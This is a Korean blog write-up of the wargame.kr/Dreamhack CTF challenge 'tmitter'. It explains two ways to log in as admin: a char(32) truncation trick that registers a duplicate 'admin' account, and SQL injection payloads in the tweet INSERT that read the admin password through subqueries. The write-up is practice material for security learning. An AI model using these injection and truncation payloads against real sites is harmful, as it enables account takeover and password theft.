[wargame.kr] tmitter Write-Up

두비니

·

2022. 4. 6. 01:04

 

 

드림핵 문제이긴하지만 원래 wargame.kr문제였고, 어차피 랭킹에도 영향이 없는 문제라 라업을 작성합니다.

문제되면 알려주세요~!~!

 

 

you need login with "admin"s id!

===========================
create table tmitter_user(
    idx int auto_increment primary key,
    id char(32),
    ps char(32)
);

 

 

생각보다 다양한 문제풀이가 가능해서 SQL도 공부할 겸 풀이 작성합니다.

우선 문제는 admin으로 로그인하는게 목적이고, 크게 sign up, sign in, 그리고 로그인 후 트윗을 작성하는 기능이 있습니다.

 

크게 두 가지로 문제풀이를 작성하도록 하겠습니다.

 

 

1. 중복 sign up을 통한 풀이

 

회원가입은 join.php를 통해 관리되고 있으며, 내용은 다음과 같습니다.

<head>
 <style>
  body {background-color:#eef;}
  table td {text-align:center; background-color:#dde;}
  .ex {text-align:left; color:#99a; font-size:9pt;}
 </style>
 <script>
  function chk(f){
   if(f.id.value.length<4){alert("chk id"); return false;}
   if(f.ps.value.length<7){alert("chk ps"); return false;}
   return true;
  }
 </script>
</head>
<body>
<center>
 <img src="./tmitter.png">
 <form onsubmit="return chk(this);" method="post">
  <table>
   <tr><td>ID</td><td><input type="text" name="id" maxlength="32"></td><td class="ex">at least 4char</td></tr>
   <tr><td>PS</td><td><input type="password" name="ps" maxlength="32"></td><td class="ex">at least 7char</td></tr>
   <tr><td colspan=2><input type="submit" value="join"></td></tr>
  </table>
 </form>
</body>
<!-- hint : you need join with admin -->

 

특이사항이 있다면 id는 4글자 이상, pw는 7글자 이상이어야 한다는 제한이 있네요.

회원가입 쿼리는 문제에서 제공해줘서 볼 수 있네요.

create table tmitter_user(
    idx int auto_increment primary key,
    id char(32),
    ps char(32)
);

 

마침 힌트도 admin으로 가입하라고 하기 때문에, 일단 admin으로 가입해볼게요.

 

 

우선 admin이 있다고 하는 것을 보아, 해당 ID가 존재하는지 확인하는 과정이 있는 것으로 보입니다.

여기서 중요한 부분은 크기가 32로 되어있다는 점입니다.

 

"admin"+""*(32-5)+"aa"를 ID로 입력할 경우, 

"admin"+""*(32-5)+"aa" != "admin"이기때문에 중복확인은 bypass할 수 있지만,

create table과정에서는 id가 char(32)로 선언이 되어있기때문에 32글자 뒷부분의 내용은 짤리게 됩니다.

 

또한 32글자 제한은 php가 노출되어있기때문에 개발자도구를 통해 바꿔도 되고, burp suite를 이용해도 됩니다.

이 방법을 사용하면 중복가입을 통해 플래그를 얻을 수 있습니다.

 

 

2. Tmitter의 Insert table을 사용한 풀이

 

이 문제풀이는 삽질을 좀 많이해서...ㅋㅋㅋ 그냥 SQL 공부를 좀 하고싶어서 한거라 참고만 하시면 좋을 것 같습니다.

우선 트윗이 써지는걸 보고, 대충 저런식으로 등록이 되겠거니 추측을 해보았습니다.

 

insert into table_name values(aa, aa, .. , '내가 쓴 트윗 내용', cc, dd, ...)

 

아무튼 가장 먼저 알아내고자 했던 것은 뒤로 몇개의 element가 있는지였습니다. 그래서 test')#의 형식으로 제 쿼리가 정상적으로 처리가 될때까지 찾아내었습니다.

결론적으로 test', '11')#을 넣었을 때 정상적으로 처리가 되는 것을 확인했습니다. 아마 아래처럼 처리가 되겠죠?

 

insert into table_name values(aa, aa, .. , 'test', '11')#', 실제값)

등록된 트윗

 

이게 가능하다면 한 번에 여러 개의 트윗도 등록이 가능할 것 같다고 판단하여, 조금(많이) 더 삽질을 해보았습니다.

결론적으로 다음 쿼리가 먹혔습니다.

test', '11'), (0, 'admin', '222', '333')#

 

 

그러면 마지막으로 select구문을 가져올 수 있는지 확인을 해보고, 비밀번호를 얻어내도록 하겠습니다.

트윗을 내용을 입력하는 부분에 다음과 같이 select 구문을 작성해보았습니다.

test', '11'), (0, 'admin', (select column_name from information_schema.columns where table_name='tmitter_user' limit 0,1), '333')#

 

아래 구문을 작성한 이유는, 다음과 같이 이미 tmitter_user라는 테이블이 존재함을 알고있기 때문에 작성을 했습니다.

create table tmitter_user(
    idx int auto_increment primary key,
    id char(32),
    ps char(32)
);

그리고 결과는..!

잘 되는걸 확인할 수 있습니다.

그러면 이제 쿼리를 통해서 admin의 ps를 빼내면 되기 때문에 다음과 같이 쿼리를 작성하면 됩니다.

결론적으로 비밀번호를 얻어낼 수 있는 쿼리는!

test', '1'), (0, 'admin', (select ps from tmitter.tmitter_user where id='admin'), '22')#

이고, 이 방법으로 비밀번호를 알아낼 수 있습니다.

 

 

 

끝! SQL은 어려워~.~

 

 

'War Games > dreamhack' 카테고리의 다른 글

dreamhack 문제 배포  (0) 2022.09.04
[pwn] rtld  (0) 2022.07.05
[rev] rev-basic-9  (0) 2021.03.08
[rev] rev-basic-8 Write-Up  (0) 2021.01.25
[pwn] validator Write-Up  (0) 2021.01.24